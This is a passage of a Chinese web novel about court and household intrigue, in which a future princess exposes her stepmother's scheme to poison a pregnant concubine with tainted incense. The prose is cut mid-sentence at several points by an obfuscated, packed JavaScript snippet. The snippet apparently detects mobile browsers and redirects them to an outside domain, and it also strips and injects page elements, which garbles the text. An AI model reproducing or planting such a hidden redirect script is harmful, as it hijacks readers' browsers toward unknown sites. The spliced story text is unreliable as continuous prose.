不远处的黄嬷嬷和陈嬷嬷看着纪昭的背影,神情复杂。 “这个王妃十分上进。” “可不是,为了睿亲王又是射箭,又是练写字,投其所好。” “睿亲王对纪大小姐也是上心,还呵斥了那乌国大王子。” “这是吃醋。” “是的,京城都传开了。” …… “京城都传开了,睿亲王在晋阳侯府门口吃醋。” 金扇子公子笑嘻嘻瞧着睿亲王萧烨,喝着酒说这话。 萧烨不冷不热地看了他一眼:“你越发没个正形了,是不是五行缺揍?” 金扇子公子凑过来:“齐王的事我替你查了,的确很古怪。” 萧烨:“寒食节要到了,他来京祭太庙是应该的。” 金扇子公子:“可是圣旨还没下。没下藩王私自进京是大罪。” 萧烨不语。 所有人都知道藩王是不能随意进京的。进京必须有圣旨,不然会被贴上“谋逆之心”的罪名。 但,这藩王私自进京的事也时常有发生。他们进京要么是给世家攀交情,要么就是路过与一些巨贾谈生意。 总之这现象大家都默认了。 萧烨沉吟:“她特地提起这事,应该有她的道理。只是孤没问出来。” 金扇子公子:“说起来,你这位王妃很有意思。说她没什么本事吧,救驾之功还被家人放到西山别苑,说她有本事吧,倒帮了你好几次。” “改天约出来见见。” 第129章 茶楼偶然救了卖曲的姑娘 萧烨瞧了他一眼:“你又不是没见过。现在巴巴与我说这些,是什么意思?” 金扇公子笑嘻嘻摇着那折扇:“没什么意思,就是纯好奇。” 萧烨不冷不热:“小心好奇害死猫。你若是没事干,我这里正好不少事要做。” 金扇公子突然一拍脑袋:“哎呦,忘了说。前两日我去西市瞧见一个掌柜扫了所有的茶叶,用最低价扫的。” “然后呢?”萧烨抿了一口酒水,很耐心发问,“你该不会只是想随便和我说这些市井八卦吧?” 金扇公子笑眯眯继续道:“当时我正巧听说了这事心里觉得奇怪,就去问。那掌柜的很年轻,做事很干练。他说是主家让买的,然后就什么都不说走了。” “今日听到消息,西南那边大旱,秋茶估计要泡汤了。今日的茶价已经涨了两成有余。我估算到了年中,还会再涨两成以上。” 萧烨垂眸。 金扇公子见他还无动于衷,伸出手比划了下。 “总的估摸要涨五成啊!一万两成本能挣五千!还不算上档次的好茶,那价格翻一番是要的。” 萧烨:“所以呢?” 金扇公子笑嘻嘻:“我查了那掌柜的,却是一间名不经传的胭脂铺子新掌柜。那东家是……未来的准睿亲王妃。” 萧烨终于舍得抬眼瞧一眼金扇公子:“当真?” 金扇公子:“那当然是真的。你也知道我一向是喜欢做生意。这种做生意法子我很喜欢的,暴利,还不犯法。” “不过就是我觉得纳闷。她一个深闺千金是怎么知道西南会大旱?” 萧烨:“她还知道春季会闹雪灾呢。” 金扇公子:“对对对,我记起来了。你名下庄子今年倒是躲过了雪灾。难道是她从中指点?” 萧烨不语,只是冷眼瞧了一眼金扇公子。 金扇公子啧啧:“天啊,她还会算命。” 萧烨:“闭嘴吧。聒噪。” 金扇公子闭嘴了,只是眼里的惊奇还在。 他还要再絮叨,突然楼下有人在嚷嚷什么。 萧烨看了一眼雅间门外,便有侍从前去查探。 过了一会儿,侍从前来禀报:“回殿下,是苏探花在与人争执。争执的人有庞公子,郑公子,还有王家的二公子。” 萧烨眉一挑:“苏探花?” 金扇公子摇着花哨的折扇,笑眯眯道:“苏郎君呀!如今整个京城中只有苏郎君才能被赞称探花郎。” 苏玉臣的美名随着他的中榜名满京城。 皇帝都因此恩宠有加,甚至还重罚了柔仪公主。 萧烨问出了什么事要与一干世家子弟争执。 侍从低声道:“是茶楼来了一对卖唱的父女。女的叫做殷小娘,年方十四,唱的很好,姿色也不错。那些公子见了起哄让她多唱几首。” “但殷小娘傲了点,说今日唱够了,再多唱会毁了嗓子。那些公子们便不依闹了起来。” 萧烨蹙眉:“真是一群吃饱了撑着的。” “那为何争执?” 侍从:“殷小娘被闹,正巧被苏探花瞧见了,说要参他们。那些公子就与他争执起来。” 萧烨冷哼:“自不量力。” 说话间,底下又嚷嚷。 萧烨起身冷声道:“派个人,说谁再吵赏个耳刮子。” 侍从去了。 过了一会儿,果然底下没声了。 金扇公子笑道:“还是你厉害,几个巴掌就解决了。” 萧烨不语。他很少出门喝茶,一般都在军营里看麾下军士操练,演练阵形。 今日好不容易出门消遣喝茶,自然是不愿意有旁人扰了心情。 不过事与愿违。 有人敲响了门,门外是怯生生的女子声音。 “奴家殷小娘来亲自谢一谢睿亲王殿下。” 金扇公子笑嘻嘻朝着萧烨挤眼睛。 萧烨眸色冷了下来:“赶出去。” 侍从在外面赶人,不一会儿外面殷小娘哭啼啼的。 “奴家不过是想谢谢殿下的大恩大德,你们做什么赶我们?” 苏玉臣叩响了雅间的门:“微臣求见睿亲王殿下。” 金扇公子瞧了萧烨一眼:“该不会苏郎君又来出头的吧?” 萧烨的兴致被彻底破坏。 他冷笑:“让他们都进来。” 金扇公子赶紧道:“可别给人家甩脸子。他可是御前的红人。” 门打开,门外站着如玉树琼花般的苏玉臣,还有刚才被驱赶娇怯的殷小娘。 萧烨坐着一动不动,左手随意摩挲手边的紫金龙头手杖。 殷小娘看了一眼,娇羞低头:“奴家拜见睿亲王殿下。” 萧烨不看她,看向苏玉臣:“你来做什么?” 苏玉臣拱手:“特来谢过殿下。” 萧烨冷冷道:“既然都谢过了,就退下吧。” 场面冷得不得了。 殷小娘怯生生道:“殿下在此喝茶,奴家可以给殿下唱曲助兴。” 萧烨眼皮都不抬:“不需要。” 殷小娘也许是没听过男人这么不留情面拒绝,眼眶瞬间红了。 她半掩面,泣道:“奴家只想谢殿下方才解救之恩,别的也没什么能呈给殿下,只能唱曲。殿下是嫌弃奴家身份卑贱,曲子不堪入耳吗?” 她哭得梨花带雨,我见犹怜。 旁边的人都看着心疼。 虽知道殷小娘的目的不纯,但美人落泪本就是值得原谅。 金扇公子在旁边瞧着直摇头。因为他知道殷小娘即将面对着什么。 果然,萧烨冷冷道:“孤没瞧不起你身份低贱,只是你谢错了人。” 他指了指苏玉臣:“他才是你的恩人。” 苏玉臣:“……” 殷小娘:“……” 第131章 制佛香 纪昭蹙了眉头。 先头刚想着提起二姨娘时候大夫人的脸色不对头。转头就听见大夫人让二姨娘过去问话。 她总觉得大夫人要做什么事。 前世二姨娘肚子的种没活过一个月。现在看样子大夫人又要对二姨娘动手了。 大夫人对外标榜自己宽容和善,人淡如菊,实则极其自私,手段狠毒。 父亲的几个妾室小产的小产,夭折的夭折。 前两年,三姨娘还滑了个男胎。应该是和二姨娘一样,保胎时被下了料。 纪昭让人盯着二姨娘的院子,一有动静就给她禀报。 晚意:“大小姐那么小心做什么?左右二姨娘生不出来也不碍着大小姐什么。” 纪昭:“总归是一条性命,我既然出面作保,就得保到底。况且我担心有人拿着这事来给我作妖,脏水泼到我身上。” 晚意瞪大眼:“不会吧?这事也能赖到大小姐身上?这对她们有什么好处?” “大小姐可是要做睿亲王妃的人。” 纪昭明白晚意的吃惊。 寻常人都觉得纪昭既然攀上了睿亲王萧烨,将来身份贵重,便是纪家的荣耀。 一概鬼魅魍魉手段都不能往她身上靠。 但,大夫人是寻常人吗? 前世她都能为了白沁雪的前途狠心对自己下死手,今生怎么可能还指望她幡然醒悟? 父亲纪世德虽也是沾沾自喜纪昭的高嫁,但大夫人三言两语怂恿他拿她的私库。 想要打杀她,父亲不也是左右摇摆。 所以这一对父母都不是正常人,不能用寻常人的想法去想他们。 他们的自私自利是到了骨子里的。 第二天,纪昭正在与晚意对账,有小丫鬟悄悄来了。 纪昭看了那小丫鬟,有点面生,是二姨娘院子的。 她怯怯:“二姨娘说今日大夫人让她做佛香,赏了不少香料下来。二姨娘又说,她不会做佛香,但大小姐会。二姨娘想让大小姐拨个空过去教教她。” 佛香? 纪昭:“好,你与二姨娘说,佛香必须心极诚。让二姨娘今日开始茹素沐浴,明日便教她做。” 小丫鬟点了点头。 纪昭让晚秋拿了一些饴糖给了小丫鬟。 小丫鬟十分高兴,谢了好几声才蹦蹦跳跳回去复明。 下午纪昭与两位嬷嬷学了宫中祭拜的大礼,又学了命妇觐见时的装扮,都通过三遍不出岔子才算过关。 纪昭十分虚心:“我时常进宫但却不知道自己有些地方做的不对。想来都是皇后娘娘宽宏大量,不与我计较。” 黄嬷嬷:“皇后娘娘一向是宽容的。” 纪昭又问:“不知两位嬷嬷在宫中还担什么职?” 陈嬷嬷:“在司里管布料的,黄嬷嬷是掌管女沐的。” 纪昭了然。 本朝内廷设六尚二十四司。黄陈两位嬷嬷是二十四司中资历很深的管事嬷嬷。她们两人不如黄尚宫职位高。 纪昭:“那黄嬷嬷定是懂得香料?” 黄嬷嬷笑道:“那肯定的。经过我手中的香料每个月都几百种,由我带着女史们挑选了才才呈上。” 纪昭笑道:“那正好,我母亲要做佛香,我不太懂调香。黄嬷嬷一会与我一起去瞧瞧,顺便指点指点。” 黄嬷嬷自然是爽快答应。 毕竟纪昭给的多,她存了回报的心思。 到了佛堂,二姨娘已经等着那边。 二姨娘见黄嬷嬷面生,生了胆怯:“这位是……教养嬷嬷吗?” 黄嬷嬷点头:“香料拿来我瞧瞧。” 她以为二姨娘是府中的女管事,所以吩咐起来。 纪昭也不点破,让人拿了香料给黄嬷嬷查看。 黄嬷嬷一一辨认过去,不一会儿皱了眉,拿起一簇粉末问:“这是用来做什么的?” 纪昭要拿起来闻,黄嬷嬷打了她的手。 “别碰。” 她又从中拿了一小搓粉末,闻了闻:“这是红花。” 二姨娘听了脸色发白,摇摇欲坠。她情不自禁离那香料盘子远点。 纪昭神情反而平静:“嬷嬷认准了吗?是这两味香料吗?” 黄嬷嬷点头:“不会弄错的。虽然改了形态,但我只要闻一下就知道。这两样在内宫属于禁物,还有更刁钻的东西,你们都没见识过。” 二姨娘捂着嘴:“大小姐救我!” 黄嬷嬷皱眉瞧了她一眼:“你有孕了?” 纪昭这才说出实情。 黄嬷嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他忍不住伸手挑了二姨娘的脸蛋:“这些日子你倒是气色好多了。” 第132章 侯爷从马上摔下来 二姨娘媚眼如丝,横了他一眼:“侯爷不要逗妾,大夫说还没三个月胎不够稳。” 纪世德哈哈笑了,便让她服侍换衣衫。 一夜无话。 隔日,二姨娘去给大夫人请安。 大夫人斜在贵妃榻上吩咐丫鬟们拿什么东西回乡。 她见二姨娘气色不错,眼神沉了沉。但还是让丫鬟们看座看茶水。 二姨娘摸了摸鬓边新制的花簪,笑道:“大夫人今日气色不错,妾就放心了。” 大夫人不冷不热:“你放什么心?” 二姨娘:“先前看大夫人病体缠绵,妾很是为大夫人担心呢。” 大夫人自然知道这话是假的,要反着听。 大夫人见她不断拨弄花簪,冷冷道:“这些日子让你伺候侯爷辛苦了吧?” 二姨娘:“不辛苦。侯爷待妾是很好的。昨儿还说妾做的佛香很好,所以赏了妾首饰。” 大夫人蹙眉:“你佛香做出来了?” 二姨娘:“做了。还特地让大小姐来指点。” 她说着让丫鬟捧来还没干透的佛香:“大夫人过目下,这数量够不够?” 大夫人闻了闻,点头:“够了。剩余的香料呢?” 二姨娘:“还有余一些,妾贪便宜让人碾成粉末做了香囊。侯爷说很香,让我用着。” 大夫人见她得意洋洋,说的话几句都离不开“侯爷如何”。 她唇边勾起冷笑:“哦,那既然喜欢那就用着吧。有这些佛香就够用了。” 二姨娘又说了一阵子话,服侍了大夫人喝药后才告辞离开。 她离开时撑着腰,看得大夫人恨得牙痒痒的。 “贱皮子,有你哭的时候。” 申嬷嬷悄悄来了:“她没发现。” 大夫人冷笑:“无知的贱皮子,且让你得意几日。” …… 寒食节快来了。 纪世德得了假,与同僚们说着话相约喝酒。 刚走出衙门,迎风一吹,纪世德突然间一阵天旋地转。 同僚们急忙将他扶住:“侯爷怎么了?” 纪世德晃了晃脑袋,道:“我没事,许是前夜吃了酒没散。” 同僚见他气色不好,让他随从赶紧赶着车马来接。 纪世德原来是骑马来,回去见郑重其事唤了一辆马车。 他笑道:“诸位同僚太过小心了,骑马就行。” 他上了马与诸位同僚告别。没想到刚刚骑马不出几丈远,纪世德突然直挺挺从马上栽了下来。 “哎呦!快去!” 同僚们的呼声让纪世德在昏去之前越发迷茫。 他是怎么了? …… 到了中午,老夫人那边便有人哭着道:“老夫人快去看看,二姨娘捂着肚子说疼,还吐了,还说头晕。” 老夫人吓了一跳:“怎么回事?前几日不是好好的?” 丫鬟道:“一大早就有了征兆,二姨娘说肚子疼。然后让奴婢去请大夫。但门房那边不让奴婢去。” “是快到中午,二姨娘又吐又嚷疼,奴婢没办法才来求了老夫人。” 老夫人气得手中的拐杖直敲地板。 “反了,反了!门房的是谁?不知道人命关天吗?她还是个双身子的。” 大夫人正好这个时候进来请安。 她听了这话,道:“婆母别急。许是吃坏了肚子。” 老夫人没好气:“就算是吃坏了肚子也是要紧事。侯府这几年都没添新丁,好不容易有了得好好保着。” 大夫人脸色变了变:“婆母这话是什么意思?儿媳这些日子兢兢业业操持中馈,对庶女们一视同仁,几个姨娘也是我抬进来添丁用的。” 老夫人听了她这话,深吸一口气:“怎么的?你要与我说什么?” 大夫人抹眼泪:“儿媳没别的意思,就是婆母方才那话伤了人心。” 老夫人见她磨磨唧唧地哭着,再看地上急赤白脸的丫鬟。 一道念头突然闪过,老夫人心里瞬间凉了。 这秦氏在拖着她。 老夫人正要发怒呵斥。 突然外间有人匆匆进来,跪下:“老夫人不好了,不好了,侯爷从马上摔下来了。” 老夫人又是一惊,差点昏倒。 纪昭闻讯赶来,急忙扶住老夫人。 “都别忙慌的,一件件来。” 大夫人说:“侯爷向来骑术精湛,从马上摔下来肯定没事。” “还是去看看二姨娘到底怎么了。” 大夫人唇角都是冷笑。纪昭瞧见,蹙紧了眉头。 大夫人这为了害二姨娘,连丈夫的安危都不顾了。 …… 纪世德被抬回了府。 他脸色蜡黄蜡黄的,头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她披头散发的:“侯爷,妾肚子好疼,孩子都快保不住了……有人要害妾啊……” 第133章 对峙 纪世德被她这一嚷嚷,充血的脑子清醒了几分。 “你也中了毒?” 二姨娘捧着散发哭着:“妾一早起来就觉得恶心想吐。原以为是害喜,但没想到吐得厉害,到了中午就肚子疼了起来。” “呜呜,妾让婵娟去请大夫,但婵娟去了被人打了回来。” 纪世德惊疑不定瞧着二姨娘:“你起来好好说话。” 二姨娘看着他手里的剑,又呜呜哭了起来。 纪世德把剑收了起来,冷哼:“等查清楚了再说。” 老夫人闻讯赶来,见纪世德拿着一把剑冷着脸。 她气急:“你个糊涂的,你拿着剑干什么?只知道窝里横!” 纪世德不敢隐瞒:“母亲,大夫说那香料里面有毒。儿子也中了招。” 老夫人看向二姨娘:“说!香料哪儿来的?” 二姨娘呜呜:“是大夫人让妾做佛香。妾就做了一些佛香给了大夫人,然后剩下的香料妾贪便宜,做了几个香囊。一个送了侯爷。” 她急忙跪下来,磕头:“老夫人明鉴!给妾一百个胆子妾也不敢谋害侯爷。” “侯爷是妾的天,是妾后半生的靠山。妾肚子里还有侯爷的种。” “妾怎么敢毒害侯爷呢?” 老夫人看向赶来的大夫人,冷哼:“你来说说。” 纪世德此时也大致明白了来龙去脉。 他料定二姨娘不敢毒害自己。像她说的,他是侯府的天,是靠山,一个小小的妾室再胡闹也不可能做出这等蠢事。 唯一可能便是大夫人容不下妾室生子。 想着,纪世德看向大夫人的眼神便阴沉极了。 大夫人被这双眼瞧着,心惊肉跳。但到了这个节骨眼上只能硬着头皮把祸水引出去。 大夫人急忙道:“侯爷您怎么样了?我听说您从马上摔了下来。” 她去扯纪世德的袖子。 纪世德将她的手甩开:“你说,这香料是你给的?” 大夫人:“是,是我让人给二姨娘。本想着寒食节要供佛香,左右她养胎没事,便分了她一些去做。” 纪世德从牙缝里挤出冷笑:“这么说,这香囊里面的麝香、红花,还有那**都是你给的?” 大夫人愣住:“什么**?我没有!” 老夫人在旁边气不顺:“孙媳也肚子疼。也是用了那佛香。” 大夫人连忙喊冤:“侯爷,婆母,我冤枉啊。我就算是要毒了二姨娘,我怎么会去毒阮氏?她可是阿蓉的媳妇,好不容易才坏了一胎。” 她抹眼泪:“都说虎毒不食子,我身为婆母,怎么会害她?”?0?2此时,二少夫人阮氏由人扶着进来。 她低声道:“婆母,儿媳相信婆母不会毒我。但……” 她喘了口气:“但佛香是婆母给的。昨儿点了一根,儿媳今日就觉得头晕目眩,还吐了……” 纪世德听到这里,杀大夫人的心都有了。 他把手中的剑狠狠往地上一摔:“你还有什么话说?!” 大夫人满脸是泪,浑身颤抖:“侯爷,我怎么会那么蠢笨送了这毒佛香给阮氏?我最疼的就是阿蓉,阿蓉媳妇我也是从进门疼到现在的。” 她大声喊冤:“我当主母这么多年,我要是要害人,早就害了。” 这话令在座所有人都皱起眉,纷纷犹豫。 突然,大夫人身边的常嬷嬷说:“大夫人,会不会是那香料被人下了别的东西?想要陷害大夫人?” 大夫人哭声一下子噎住。 “谁?” 纪昭冷眼瞧着主仆两人一唱一和的样子,露出冷笑。 果然是这招。 大夫人问二姨娘:“我给你的香料绝对是没错的,都是安神安胎的,顶不济也是无功无过的香料,你制佛香的时候有没有人来过?” 二姨娘怯怯道:“没有,没人来过。” 大夫人怒了:“你胡说!你明明说佛香是阿昭教了你的!” 二姨娘满脸茫然:“没有啊。大小姐没前来教我做佛香。” 纪世德狐疑瞧着纪昭:“你有没有来过二姨娘的院子?” 纪昭脸上是很茫然的神情:“没有。女儿这几日正跟着教养嬷嬷学规矩,不曾进去二姨娘的院子。” “不过二姨娘是让人来请,女儿写了一份佛香配料的方子给她。” 二姨娘将那方子拿了出来。 纪世德看了一眼,是纪昭的笔迹。 他疑心还没消,问:“你当真没来?也没让丫鬟过来教二姨娘做香?” 纪昭苦笑:“父亲,佛香这么简单的事,哪值得女儿亲自来教?再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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纪世德咬牙切齿:“你疯了!得了癔症了,竟然胡言乱语。” 第134章 纪世德要拘大夫人 大夫人怵然而惊。 癔症? 纪世德冷冷呵斥:“大夫人这几日头风疼得厉害,得了癔症,胡言乱语。快请个大夫给瞧瞧。” 他说完:“寒食节我瞧你行动不便,也不必出府了。” 大夫人浑身发抖:“不,侯爷,说好了的我要回去衡阳。” 纪世德不答她的话,让嬷嬷把她拖了回去。 屋上几人面面相觑,纪昭尤其感慨。 癔症。 前世安在自己头上的罪名,如今变成了大夫人的。 也该让她尝尝百口莫辩的滋味。 前世父亲亲自把这罪名安在自己头上,任凭自己泣血哭喊辩解,没有一人肯听。 大夫人更是在旁边煽风点火:“昭儿,你病得这么重。这般癫狂的样子真是让母亲伤心。” 她当时瞧见大夫人的眼睛,冷冰冰的。 去了大夫人,堂上几人面色各异。 二姨娘捂着小腹,战战兢兢:“侯爷,妾身只求能诞下侯爷的孩子,别的什么都不求。” “要是大夫人要这个孩子,那等妾身生下来给大夫人教养便是。” 她哭着道:“妾身只求留一条性命,继续服侍侯爷。” 纪昭看了她一眼。 果然是二姨娘,茶艺越发浓。 这一番话悄悄把大夫人抹黑了好几层。 纪世德见她被吓坏的样子,道:“与你无关。那些东西都让人丢了,一点都不要留。” 又吩咐:“什么都不能说。” 二姨娘点头,由丫鬟扶着走了。 阮氏在旁边,低声道:“儿媳没什么事,儿媳先下去了。” 老夫人对她道:“二孙媳妇你不要担心,我让大夫给你好好瞧一瞧。” 阮氏软软应了。 老夫人怜惜她,又让人拿了几斤燕窝和补品到她的房中。 阮氏告辞离开,看着脚步沉稳应该没什么事。 不相干的人都走光了。 过了一会儿,门房被拘来。 是面生的小厮。 老夫人问:“婵娟要出去,是谁让你拦着的?” 小厮支支吾吾:“孙管事说内宅的丫鬟要出去,必须要有牌子。没牌子的不让出去。” 老夫人:“婵娟没有请到牌子?” 小厮点头。 婵娟又被叫了过来。 婵娟哭道:“老夫人明鉴,奴婢去大夫人院中请了腰牌,但管事秀嬷嬷不给,说二姨娘娇气,定是吃坏了肚子。” “奴婢是真的没办法,才去求了老夫人。” 一切都明了了。 老夫人:“你是好孩子,有赏。以后若是二姨娘不舒服,特许你去我的院子领牌子。” 婵娟磕头谢了,下去了。 纪世德听了来龙去脉,脸色更加难看。 这下纪昭的嫌疑更少了。因为纪昭只管账,不管府中杂事。而丫鬟奴仆进出的琐事,现如今还是在大夫人手下的嬷嬷管着的。 这些管事的管家、婆子,都是大夫人的人。 老夫人率先开口:“这事是丑事,不能声张。” “那个小厮打几棍子,卖了。” “管事的秀嬷嬷也打上二十棍,以儆效尤。” 她给这事定了调。 罚不了大夫人,但她的爪牙还是得罚,重罚。 这样才能让大夫人怕。而且重罚之后,也是打大夫人的威望,打她的脸。 以后这些人要跟着作恶,必须掂量掂量作恶的后果。 纪世德同意了。 处置完,纪世德余怒未消:“好恶毒的妇人,竟然下了**,差点连我都要害了。” 他狠狠拍上了案几,眼底有杀气。 纪昭:“父亲,女儿是真的没到二姨娘的院子,两位宫中的嬷嬷可以为女儿作证。” 纪世德:“我知道。你没有理由害父亲。你婚期将近了。” 老夫人:“昭儿不可能害人。她有很好的前程,何必和兄弟们争?” 纪世德点头:“是这个道理。” 纪昭在旁边眼观鼻,鼻观心,不再插话。 这便是她破局的一个点。 大夫人想一石二鸟,让不懂做佛香的二姨娘去找纪昭做香。以纪昭的性子,既然揽了纪灵的婚事,便会与二姨娘亲近。 只要她贸然去了二姨娘的院子,下毒的嫌疑便洗不掉。 以纪世德多疑的性子,纪昭虽然不能受罚,但大夫人能趁机收回管账的权限。 大夫人将佛香给了阮氏,是为了加重纪昭的嫌疑。 她笃定所有人都不相信她会害了亲儿媳妇。 所以只要阮氏中了招,纪昭嫌疑最大。 但现在情形反过来了。 一切都指向大夫人下毒要害二姨娘,顺带纪世德遭殃,而阮氏的**,便成了大夫人栽赃纪昭的佐证。 纪世德越想越是心惊。 他一直以为大夫人是宽容大度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老夫人:“我让虞嬷嬷跟着回去。虞嬷嬷养过你,旁人不敢轻视,她也不敢乱来。” 纪世德:“娘还是有先见之明的。” 老夫人叹了口气,不愿意再说话。 第135章 去承御行宫 纪昭悄悄去看了阮氏。 阮氏擦掉粉,脸色恢复如常。 纪昭:“二嫂没受什么害吧?” 阮氏淡淡笑了笑:“没。那佛香一拿来我就闻到了那股味道。你后来让人来提醒,我就知道有事要发生。” 所以她才配合演了一场戏,算是报答纪昭先前的恩情。 纪昭见她恹恹的,像是厌倦极了宅院争斗。 纪昭能明白她的心灰意冷。 纪蓉快废了,而管家权又轮不到阮氏。阮氏只求平安度日,实际上是不愿意掺杂太多事。 阮氏问:“二姨娘没事吧?” 纪昭:“没事。她知道香料有问题的。” 阮氏摸着肚子:“如今做了母亲,最怕有人说滑胎小产,听也是听不得的。” 纪昭:“二嫂心很善。” 阮氏欲言又止,半天才道:“我也是后来警醒。要是不警醒,将来会犯了大错。” 纪昭看出她的悔恨,应该是以前给誉哥儿下了夹竹桃粉。 不过当时阮氏是在大夫人的逼迫下争管家权,后来很快收手了。 纪昭安慰了两句,悄悄回了紫棠院。 …… 纪昭听说门房的小厮被打了二十板,然后让人带走发卖了。 而大夫人身边的秀嬷嬷被打得最厉害,二十板子打下去,浑身是血,半条老命都差点就没了。 关键是,纪世德让西正院的全部下人都来看行刑。 秀嬷嬷体面全无,下人们战战兢兢。 秀嬷嬷跟着大夫人十几年,算是半个心腹。到头来还替大夫人受罚,这种作恶后果很是让下人们警醒。 而二姨娘那边悄悄送来了礼物,答谢纪昭的相助。 纪昭问婵娟:“二姨娘没事吧?” 婵娟:“大小姐关心,二姨娘没事。” 纪昭微微一笑:“雷公藤可是毒物,不能放身边。” 婵娟瞧了她一眼,小心翼翼:“不敢的。奴婢亲眼看见拿了石灰拌了加了水毁了。”‘纪昭点了点头:“回去告诉二姨娘,寒食节后几户人家让灵妹妹选一选。还有这次御驾随行,让灵妹妹跟着我去。不过要委屈她与我的丫鬟吃住随行。” 婵娟高兴:“奴婢回去就禀二姨娘。这天赐的福分,灵小姐肯定高兴的。” 她说着磕了几个头。 纪昭见她机灵,让晚意拿了一吊铜钱赏了。 奶娘文氏:“大小姐担心二姨娘留着雷公藤?她还不敢。” 纪昭:“她怎么不敢?拿了**转头毫不犹豫就下给了我爹,她什么都敢干。”‘她蹙着眉。 雷公藤是她给的,为的是让父亲发现后更加震怒,并不是真的要给亲爹吃。但二姨娘实在是虎。她为了一下子扳倒大夫人,竟然直接下到了纪世德饭菜里。 纪世德受了**的苦,大夫人才真正在他心里被灭杀。 二姨娘的手段狠得出乎她意料。所以纪昭才多叮嘱婵娟两句。 寒食节到了。 纪府分两批出京,一批是去了老家扫墓祭祖。另一批则是跟着纪昭随行御驾去承御行宫。 回老家的是长辈,老夫人因为年事已高,并没有去。 而大夫人跟着纪世德,出行阵仗极大。 从洗脸盆、沐巾,铜镜、妆奁,还有祭服首饰等等全部带上,光大夫人出行用具填满了十辆马车。还有五车是准备要送衡阳老家亲戚们的礼物。 此次纪府出行隐约有了世家的声势。 纪昭心里笑了笑。 父亲还是一如既往虚荣,彰显气派。 纪昭这一列便低调许多,大部分是纪府的年轻一辈。由纪荣带队,内厂调来的护卫随行保护。 纪昭带了纪璇静、纪灵,白沁雪。纪昭还带了两位教养嬷嬷,奶娘文氏便留在府中管着紫棠院。 纪蕴是跟着六皇子,早早去了六皇子车驾那边报道去了。 一大早,纪昭便带着堂妹庶妹,还有白沁雪上了马车。 纪昭不想让纪灵与白沁雪一辆车,便让她跟着丫鬟们一辆车。而白沁雪则和与她,还有纪璇静一辆车。 纪荣带着人过来。 纪昭看了,是魏曹公拨给她的两个小内侍。还有睿亲王萧烨给她的八个军士。 小内侍有武功,还能随入行宫伺候。八个军士可以沿路保护女眷。 纪昭满意点头。 这些人总算是能派上用场。 纪荣道:“我得随御驾去。你若是有什么事让人知会一声。不管大小事,能等我来的便不要自己动手。” 纪昭:“大哥太小心了。我身边有人。” 纪荣匆匆打马走了。 他如今深受魏曹公信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477778|169868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任,内厂的大部分事都交给了他。纪荣比平常忙碌许多。 要出游,纪璇静很兴奋,在马车上叽里呱啦说个不停。 白沁雪很安静沉稳,坐在两人对面,裹着薄披风想着什么。 纪昭见她清瘦不少,往日神采奕奕的,一双明眸灵动溢彩的。如今蒙上了忧思,还有几分病弱的颓废。 看来这几个月白沁雪屡屡挫败,已失去了那份昂扬的心气。 纪昭垂下眼帘,心里冷冷地笑。 前世白沁雪端坐高台,踩着自己,受人仰慕。各种好名声往她身上贴去,那些名声就像是补品似的,将她补得越发滋润。 现如今白沁雪还没完全落败,就有几分“明日黄花”那意味了。 纪璇静:“听说承御行宫那边可好玩了,有成片的桃花林,还有梨花,还有瀑布悬崖奇景。” 纪昭:“你啊,一门心思就想着玩。都要议亲的人了。” 纪璇静羞红:“大姐姐真是的。谁说议亲的人不能玩了?就是要成亲了才赶紧玩。” 纪昭莞尔:“你倒是想的极好。” 纪璇静见白沁雪不吭声,忍不住问:“表姐,你想怎么玩?” 白沁雪看了纪昭一眼:“喝茶赏景,听说还有温泉。” 纪璇静高兴:“对,还有温泉。我们可以泡汤泉,听说美容养肤。” 纪昭摇头。 纪璇静还是和孩子似的,满脑子都是吃喝玩乐。 不过这样也好。 这才是十几岁女孩的真正模样。父母亲疼爱,兄妹不起龌龊,不争不抢的,蜜罐子里泡大的没有烦恼。 不像她和白沁雪,明明和纪璇静年纪大不了几岁,却像是两代人。 想到这里,纪昭发现白沁雪竟然隐约羡慕瞧着纪璇静。 两人竟然想到了一处去一行人行到了行程三分之一,路上遇到两个铠甲骑士。 骑士服饰是玄黑滚着金纹,腰间一把剑,一把刀,背后是劲**,很是威风。 纪昭认出来是睿亲王萧烨的贴身虎卫。 护卫上前:“睿亲王殿下让属下等在此恭候准王妃。” 纪昭问:“殿下有何吩咐?” 护卫:“殿下说马车太憋闷了,问准王妃愿不愿意一起骑马。” 